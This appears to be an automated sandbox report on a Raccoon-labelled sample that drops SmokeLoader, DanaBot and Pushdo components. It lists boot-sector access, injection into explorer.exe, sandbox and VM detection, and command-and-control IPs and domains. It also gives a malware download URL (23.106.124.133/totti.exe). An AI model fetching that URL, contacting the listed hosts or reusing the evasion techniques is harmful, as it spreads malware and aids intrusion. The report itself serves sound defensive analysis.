Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402D70 push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402D7D push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402D1F push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402D81 push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402DA7 push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040C3C8 push esp; retf 0000h	10_2_0040C3C9
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040C3F8 push esi; retf	10_2_0040C3F9
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00A938C5 pushad ; ret	10_2_00A938C6
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0040A3BD push eax; retf	12_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0093149D push ecx; retf	12_2_009314A4
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_009314A8 push ecx; retf	12_2_009314AA
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_00932C76 push eax; retf	12_2_00932C77
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_00933168 pushfd ; iretd	12_2_00933169
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0092CB60 pushad ; retf	12_2_0092CB61
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0092DF6C push ds; retf	12_2_0092DF6E

Source: C60F.exe.1.dr	Static PE information: section name: .debug_o
Source: Ruifriwreh.dll.11.dr	Static PE information: section name: .didata
Source: pigalicapi.exe.20.dr	Static PE information: section name: .debug_o

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 20.2.C60F.exe.720000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.C60F.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.536576305.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_00408951
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_00408951
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_00408958
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_00408958
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_0040895B

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\eviivjg

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\AF0C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B9D7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	File created: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C60F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C60F.exe	File created: C:\Users\user\pigalicapi.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\eviivjg	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\C60F.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_00408951
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_00408951
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_00408958
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_00408958
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	12_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	12_2_0040895B

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\C60F.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\eviivjg:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000002.302380364.0000000000938000.00000004.00000020.00020000.00000000.sdmp, eviivjg, 0000000A.00000002.367292268.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 5252	Thread sleep time: -31600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4256	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe TID: 6100	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 362	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 401	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 852	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 855	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_12-4903

Source: C:\Users\user\AppData\Local\Temp\B9D7.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000001.00000000.276324032.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWmF
Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxMRXNP.dll
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.276324032.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000001.00000000.272687564.0000000007166000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxHook.dll
Source: explorer.exe, 00000001.00000000.276324032.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
Source: explorer.exe, 00000001.00000000.276324032.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmbusres.dll
Source: explorer.exe, 00000001.00000000.268730601.0000000005063000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
Source: AF0C.exe, 00000013.00000002.470140923.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8
Source: explorer.exe, 00000001.00000000.276324032.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076092B mov eax, dword ptr fs:[00000030h]	0_2_0076092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00760D90 mov eax, dword ptr fs:[00000030h]	0_2_00760D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009536DE push dword ptr fs:[00000030h]	0_2_009536DE
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00A917F6 push dword ptr fs:[00000030h]	10_2_00A917F6
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	12_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_00407D21 mov eax, dword ptr fs:[00000030h]	12_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0092CD63 push dword ptr fs:[00000030h]	12_2_0092CD63

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Code function: 12_2_0040803E GetProcessHeap,HeapAlloc,

12_2_0040803E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402945 LdrLoadDll,

0_2_00402945

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 2.180.10.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 195.158.3.162 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.129 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.126 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 203.91.116.53 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.95.186.58 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 211.119.84.111 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: eviivjg.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 57919A0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eviivjg	Thread created: unknown EIP: 59419A0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Code function: 12_2_004082B6 CheckTokenMembership,AllocateAndInitializeSid,FreeSid,

12_2_004082B6

Source: explorer.exe, 00000001.00000000.267741175.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerT7<=ge
Source: explorer.exe, 00000001.00000000.272564280.0000000006770000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.276324032.00000000090D8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.267741175.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.267741175.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.267542421.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CProgmanile
Source: explorer.exe, 00000001.00000000.267741175.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\B9D7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: mcupdate.exe

Stealing of Sensitive Information

Yara detected DanaBot stealer dll

Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Backdoor Pushdo

Source: Yara match	File source: 20.2.C60F.exe.720000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.C60F.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.536576305.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected DanaBot stealer dll

Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 Bootkit	32 Process Injection	121 Masquerading	21 Input Capture	1 Query Registry	Remote Services	21 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	441 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	11 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	32 Process Injection	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Bootkit	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	31 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 File Deletion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	69%	ReversingLabs	Win32.Trojan.Raccoon
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\C60F.exe	100%	Joe Sandbox ML
C:\Users\user\pigalicapi.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B9D7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\eviivjg	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AF0C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C60F.exe	21%	ReversingLabs
C:\Users\user\AppData\Roaming\eviivjg	69%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\pigalicapi.exe	21%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
19.2.AF0C.exe.24ea12c.2.unpack	100%	Avira	TR/Patched.Ren.Gen7	Download File
0.2.file.exe.760e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.C60F.exe.72e290.1.unpack	100%	Avira	TR/Downloader.Gen	Download File
20.2.C60F.exe.c50000.2.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
10.2.eviivjg.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.AF0C.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.C60F.exe.c50000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.3.eviivjg.8c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.file.exe.770000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.C60F.exe.720000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
10.2.eviivjg.8b0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.AF0C.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.C60F.exe.2930000.3.unpack	100%	Avira	TR/Patched.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://23.106.124.133/totti.exe	100%	URL Reputation	malware
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://rutobacco.ru/tmp/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/awards-certificates/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.holleman.us/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
http://www.stajum.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	0%	Avira URL Cloud	safe
http://www.elpro.si/	0%	Avira URL Cloud	safe
http://www.wnsavoy.com/Zc	0%	Avira URL Cloud	safe
https://www.pcgrate.com/comments/feed/	0%	Avira URL Cloud	safe
http://www.myropcb.com/#website	0%	Avira URL Cloud	safe
http://www.stajum.com/_	0%	Avira URL Cloud	safe
http://www.owsports.ca/	0%	Avira URL Cloud	safe
http://www.c9dd.com/v1.0	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=25	0%	Avira URL Cloud	safe
http://www.quadlock.com/	0%	Avira URL Cloud	safe
https://www.aevga.com/	0%	Avira URL Cloud	safe
http://www.naoi-a.com/	0%	Avira URL Cloud	safe
https://www.pcgrate.com/?s=	0%	Avira URL Cloud	safe
http://www.lagencefrancaise.com	0%	Avira URL Cloud	safe
http://www.c9dd.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	0%	Avira URL Cloud	safe
http://www.domon.com/	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
https://www.lrsuk.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=8	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg4.png	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcba-services/	0%	Avira URL Cloud	safe
http://www.item-pr.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/terms-of-service/	0%	Avira URL Cloud	safe
http://www.pcgrate.com	0%	Avira URL Cloud	safe
http://www.tvtools.fi/9K	0%	Avira URL Cloud	safe
http://www.olras.com/	0%	Avira URL Cloud	safe
